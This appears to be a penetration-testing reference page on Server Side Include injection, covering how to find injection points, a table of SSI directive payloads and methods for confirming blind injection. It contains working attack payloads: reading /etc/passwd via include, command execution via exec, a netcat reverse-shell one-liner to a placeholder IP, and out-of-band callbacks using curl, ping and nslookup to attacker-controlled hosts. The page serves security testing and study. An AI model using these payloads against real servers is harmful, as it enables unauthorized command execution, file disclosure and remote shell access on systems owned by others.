> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Server Side Includes (SSI)

Server Side Includes (SSI) is a technology that web applications use to create dynamic content on HTML pages. SSI is supported by many popular web servers such as [Apache](https://httpd.apache.org/docs/current/howto/ssi.html) and [IIS](https://learn.microsoft.com/en-us/iis/configuration/system.webserver/serversideinclude). The use of SSI can often be inferred from the file extension, typical extensions include `.shtml`, `.shtm`, and `.stm`. However, web servers can be configured to support SSI directives in arbitrary file extensions, so the extension alone is never conclusive proof that SSI is (or isn't) in use.

***

## Finding Injection Points

SSI injection occurs when an attacker can get SSI directives into a file that the web server subsequently parses and serves. This typically happens in one of two ways:

* **File upload** - a vulnerable upload feature lets an attacker drop a file containing SSI directives into the web root, and the server is configured to parse that extension.
* **Reflected user input** - a web application writes user input directly into a file served from the web root (a guestbook, a comment stored as static HTML, a generated log page, etc.) without sanitizing SSI delimiters. Test by submitting a low noise, easily recognizable directive into any input you suspect ends up on disk, then requesting the page back

```text theme={null}
<!--#echo var="DATE_LOCAL" -->
```

If the current server date comes back instead of the literal string, the directive was parsed, you have SSI injection.

***

## SSI Directives

SSI uses `directives` to add dynamically generated content to an otherwise static HTML page, with the syntax:

```text theme={null}
<!--#name param1="value1" param2="value2" -->
```

<table>
  <colgroup>
    <col width="235" />

    <col width="451" />
  </colgroup>

  <thead>
    <tr>
      <th>**Description**</th>
      <th>**Payload**</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>Print the date</td>
      <td>`{/* #echo var="DATE_LOCAL"  */}`</td>
    </tr>

    <tr>
      <td>Print the document name</td>
      <td>`{/* #echo var="DOCUMENT_NAME"  */}`</td>
    </tr>

    <tr>
      <td>Print all the variables</td>
      <td>`{/* #printenv  */}`</td>
    </tr>

    <tr>
      <td>Setting variables</td>
      <td>`{/* #set var="name" value="Rich"  */}`</td>
    </tr>

    <tr>
      <td>Include a file</td>
      <td>`{/* #include file="/etc/passwd"  */}`</td>
    </tr>

    <tr>
      <td>Include a file</td>
      <td>`{/* #include virtual="/index.html"  */}`</td>
    </tr>

    <tr>
      <td>Execute commands</td>
      <td>`{/* #exec cmd="ls"  */}`</td>
    </tr>

    <tr>
      <td>Reverse shell</td>
      <td>`{/* #exec cmd="mkfifo /tmp/f;nc IP PORT 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f"  */}`</td>
    </tr>
  </tbody>
</table>

***

## Blind SSI Injection

If command output isn't reflected back in the page (the directive executes but you never see a result), confirm execution out-of-band instead of relying on reflected output.

```text theme={null}
# Time-based: page response, sleeps for ~10s if the directive executed
<!--#exec cmd="sleep 10" -->
 
# ICMP callback, confirms blind exec via a ping to a host you control
<!--#exec cmd="ping -c 4 <your-ip>" -->
 
# HTTP/DNS out-of-band — confirms blind exec via a request you can observe
<!--#exec cmd="curl http://<your-collaborator-domain>/" -->
<!--#exec cmd="nslookup <your-id>.oast.fun" -->
```

***

## Quick Reference Tools

> [card] [PayloadsAllTheThings: SSI Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Include%20Injection/)
>
> PayloadsAllTheThings Reference


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.